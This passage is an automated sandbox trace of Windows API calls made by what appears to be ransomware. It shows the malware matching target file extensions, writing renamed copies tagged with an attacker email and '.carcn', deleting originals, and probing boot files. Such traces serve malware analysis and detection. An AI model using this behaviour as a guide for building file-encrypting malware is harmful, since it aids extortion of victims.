lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0294.209] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.210] WriteFile (in: hFile=0x314, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x112, lpOverlapped=0x0) returned 1 [0294.210] SetEndOfFile (hFile=0x314) returned 1 [0294.210] CloseHandle (hObject=0x314) returned 1 [0294.210] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.210] SetEndOfFile (hFile=0x548) returned 1 [0294.213] CloseHandle (hObject=0x548) returned 1 [0294.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0294.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.215] lstrlenW (lpString=".doc") returned 4 [0294.215] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.215] lstrlenW (lpString=".docx") returned 5 [0294.215] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.215] lstrlenW (lpString=".pdf") returned 4 [0294.215] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.215] lstrlenW (lpString=".xls") returned 4 [0294.215] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.215] lstrlenW (lpString=".xlsx") returned 5 [0294.215] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.215] lstrlenW (lpString=".ppt") returned 4 [0294.215] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.216] lstrlenW (lpString=".zip") returned 4 [0294.216] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.216] lstrlenW (lpString=".rar") returned 4 [0294.216] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.216] lstrlenW (lpString=".bz2") returned 4 [0294.216] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.216] lstrlenW (lpString=".7z") returned 3 [0294.216] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.216] lstrlenW (lpString=".dbf") returned 4 [0294.216] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.216] lstrlenW (lpString=".1cd") returned 4 [0294.216] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0294.216] lstrlenW (lpString=".jpg") returned 4 [0294.216] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0cb0 | out: hHeap=0x640000) returned 1 [0294.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cdf20 | out: hHeap=0x640000) returned 1 [0294.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37b6d60 | out: hHeap=0x640000) returned 1 [0294.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37c6d68 | out: hHeap=0x640000) returned 1 [0294.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x429c020 | out: hHeap=0x640000) returned 1 [0294.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0c80 | out: hHeap=0x640000) returned 1 [0294.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb3a0 [0294.223] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb3a0, Size=0x20) returned 0x699c08 [0294.223] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb328 [0294.223] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb328, Size=0x20) returned 0x699e88 [0294.224] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.224] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.224] Wow64DisableWow64FsRedirection (in: OldValue=0x3bbff50 | out: OldValue=0x3bbff50*=0x1) returned 1 [0294.224] lstrlenW (lpString="kernel32.dll") returned 12 [0294.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699e88 | out: hHeap=0x640000) returned 1 [0294.224] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c08 | out: hHeap=0x640000) returned 1 Thread: id = 54 os_tid = 0xd8c [0251.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37db448 [0251.768] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37eb450 [0251.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0cc8 [0251.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6cde50 [0251.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0d70 [0251.769] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x43a5020 [0251.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0d88 [0251.772] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0d88, Size=0x20) returned 0x680c18 [0251.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0d88 [0251.772] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0d88, Size=0x20) returned 0x680c40 [0251.772] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.772] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.772] Wow64DisableWow64FsRedirection (in: OldValue=0x3cfff50 | out: OldValue=0x3cfff50*=0x0) returned 1 [0251.772] lstrlenW (lpString="kernel32.dll") returned 12 [0251.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c18 | out: hHeap=0x640000) returned 1 [0251.773] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c40 | out: hHeap=0x640000) returned 1 [0251.773] Sleep (dwMilliseconds=0x64) [0252.118] lstrcmpiW (lpString1=".MARKER", lpString2=".carcn") returned 1 [0252.118] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0252.118] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0252.121] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=0) returned 1 [0252.121] CloseHandle (hObject=0x338) returned 1 [0252.122] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.122] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.122] lstrlenW (lpString=".doc") returned 4 [0252.122] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".docx") returned 5 [0252.122] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0252.122] lstrlenW (lpString=".pdf") returned 4 [0252.122] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".xls") returned 4 [0252.122] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".xlsx") returned 5 [0252.122] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0252.122] lstrlenW (lpString=".ppt") returned 4 [0252.122] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.122] lstrlenW (lpString=".zip") returned 4 [0252.122] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".rar") returned 4 [0252.122] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".bz2") returned 4 [0252.122] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0252.122] lstrlenW (lpString=".7z") returned 3 [0252.122] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0252.122] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.122] lstrlenW (lpString=".dbf") returned 4 [0252.122] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.123] lstrlenW (lpString=".1cd") returned 4 [0252.123] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.123] lstrlenW (lpString=".jpg") returned 4 [0252.123] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.123] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.123] lstrlenW (lpString=".doc") returned 4 [0252.123] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString=".docx") returned 5 [0252.123] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0252.123] lstrlenW (lpString=".pdf") returned 4 [0252.123] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString=".xls") returned 4 [0252.123] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString=".xlsx") returned 5 [0252.123] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0252.123] lstrlenW (lpString=".ppt") returned 4 [0252.123] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.123] lstrlenW (lpString=".zip") returned 4 [0252.123] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0252.123] lstrlenW (lpString=".rar") returned 4 [0252.123] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0252.124] lstrlenW (lpString=".bz2") returned 4 [0252.124] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0252.124] lstrlenW (lpString=".7z") returned 3 [0252.124] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0252.124] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.124] lstrlenW (lpString=".dbf") returned 4 [0252.124] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0252.124] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.124] lstrlenW (lpString=".1cd") returned 4 [0252.124] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0252.124] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0252.124] lstrlenW (lpString=".jpg") returned 4 [0252.124] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0252.124] Sleep (dwMilliseconds=0x64) [0252.461] Sleep (dwMilliseconds=0x64) [0252.828] lstrlenW (lpString="BCD") returned 3 [0252.828] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.828] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.828] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.828] lstrlenW (lpString=".doc") returned 4 [0252.828] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0252.828] lstrlenW (lpString=".docx") returned 5 [0252.829] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0252.829] lstrlenW (lpString=".pdf") returned 4 [0252.829] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString=".xls") returned 4 [0252.829] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString=".xlsx") returned 5 [0252.829] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0252.829] lstrlenW (lpString=".ppt") returned 4 [0252.829] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString=".zip") returned 4 [0252.829] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString=".rar") returned 4 [0252.829] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString=".bz2") returned 4 [0252.829] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString=".7z") returned 3 [0252.829] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString=".dbf") returned 4 [0252.829] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString=".1cd") returned 4 [0252.829] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString=".jpg") returned 4 [0252.829] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.829] lstrlenW (lpString=".doc") returned 4 [0252.829] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".docx") returned 5 [0252.830] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0252.830] lstrlenW (lpString=".pdf") returned 4 [0252.830] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".xls") returned 4 [0252.830] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".xlsx") returned 5 [0252.830] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0252.830] lstrlenW (lpString=".ppt") returned 4 [0252.830] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.830] lstrlenW (lpString=".zip") returned 4 [0252.830] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".rar") returned 4 [0252.830] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".bz2") returned 4 [0252.830] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString=".7z") returned 3 [0252.830] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0252.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.830] lstrlenW (lpString=".dbf") returned 4 [0252.830] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.830] lstrlenW (lpString=".1cd") returned 4 [0252.830] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0252.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0252.830] lstrlenW (lpString=".jpg") returned 4 [0252.830] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0252.830] lstrcmpiW (lpString1=".LOG1", lpString2=".carcn") returned 1 [0252.830] lstrlenW (lpString="BCD.LOG1") returned 8 [0252.831] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.831] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=0) returned 1 [0252.831] CloseHandle (hObject=0x348) returned 1 [0252.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.831] lstrlenW (lpString=".doc") returned 4 [0252.831] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0252.831] lstrlenW (lpString=".docx") returned 5 [0252.831] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0252.831] lstrlenW (lpString=".pdf") returned 4 [0252.831] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0252.831] lstrlenW (lpString=".xls") returned 4 [0252.831] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0252.831] lstrlenW (lpString=".xlsx") returned 5 [0252.831] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0252.831] lstrlenW (lpString=".ppt") returned 4 [0252.831] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0252.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.831] lstrlenW (lpString=".zip") returned 4 [0252.831] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".rar") returned 4 [0252.832] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".bz2") returned 4 [0252.832] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".7z") returned 3 [0252.832] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString=".dbf") returned 4 [0252.832] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString=".1cd") returned 4 [0252.832] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString=".jpg") returned 4 [0252.832] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString=".doc") returned 4 [0252.832] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".docx") returned 5 [0252.832] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0252.832] lstrlenW (lpString=".pdf") returned 4 [0252.832] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".xls") returned 4 [0252.832] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".xlsx") returned 5 [0252.832] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0252.832] lstrlenW (lpString=".ppt") returned 4 [0252.832] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.832] lstrlenW (lpString=".zip") returned 4 [0252.832] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0252.832] lstrlenW (lpString=".rar") returned 4 [0252.833] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0252.833] lstrlenW (lpString=".bz2") returned 4 [0252.833] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0252.833] lstrlenW (lpString=".7z") returned 3 [0252.833] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0252.833] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.833] lstrlenW (lpString=".dbf") returned 4 [0252.833] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0252.833] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.833] lstrlenW (lpString=".1cd") returned 4 [0252.833] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0252.833] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0252.833] lstrlenW (lpString=".jpg") returned 4 [0252.833] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0252.833] lstrcmpiW (lpString1=".LOG2", lpString2=".carcn") returned 1 [0252.833] lstrlenW (lpString="BCD.LOG2") returned 8 [0252.833] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.833] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=0) returned 1 [0252.833] CloseHandle (hObject=0x348) returned 1 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.834] lstrlenW (lpString=".doc") returned 4 [0252.834] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".docx") returned 5 [0252.834] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0252.834] lstrlenW (lpString=".pdf") returned 4 [0252.834] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".xls") returned 4 [0252.834] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".xlsx") returned 5 [0252.834] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0252.834] lstrlenW (lpString=".ppt") returned 4 [0252.834] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.834] lstrlenW (lpString=".zip") returned 4 [0252.834] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".rar") returned 4 [0252.834] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".bz2") returned 4 [0252.834] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString=".7z") returned 3 [0252.834] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.834] lstrlenW (lpString=".dbf") returned 4 [0252.834] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.834] lstrlenW (lpString=".1cd") returned 4 [0252.834] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0252.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString=".jpg") returned 4 [0252.835] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString=".doc") returned 4 [0252.835] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".docx") returned 5 [0252.835] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0252.835] lstrlenW (lpString=".pdf") returned 4 [0252.835] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".xls") returned 4 [0252.835] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".xlsx") returned 5 [0252.835] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0252.835] lstrlenW (lpString=".ppt") returned 4 [0252.835] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString=".zip") returned 4 [0252.835] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".rar") returned 4 [0252.835] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".bz2") returned 4 [0252.835] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString=".7z") returned 3 [0252.835] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0252.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString=".dbf") returned 4 [0252.835] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0252.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.835] lstrlenW (lpString=".1cd") returned 4 [0252.836] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0252.836] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0252.836] lstrlenW (lpString=".jpg") returned 4 [0252.836] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0252.836] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0252.836] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0252.836] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.836] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=77664) returned 1 [0252.836] CloseHandle (hObject=0x348) returned 1 [0252.836] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0252.837] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.837] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.837] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.837] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.837] lstrlenW (lpString=".doc") returned 4 [0252.837] lstrcmpiW 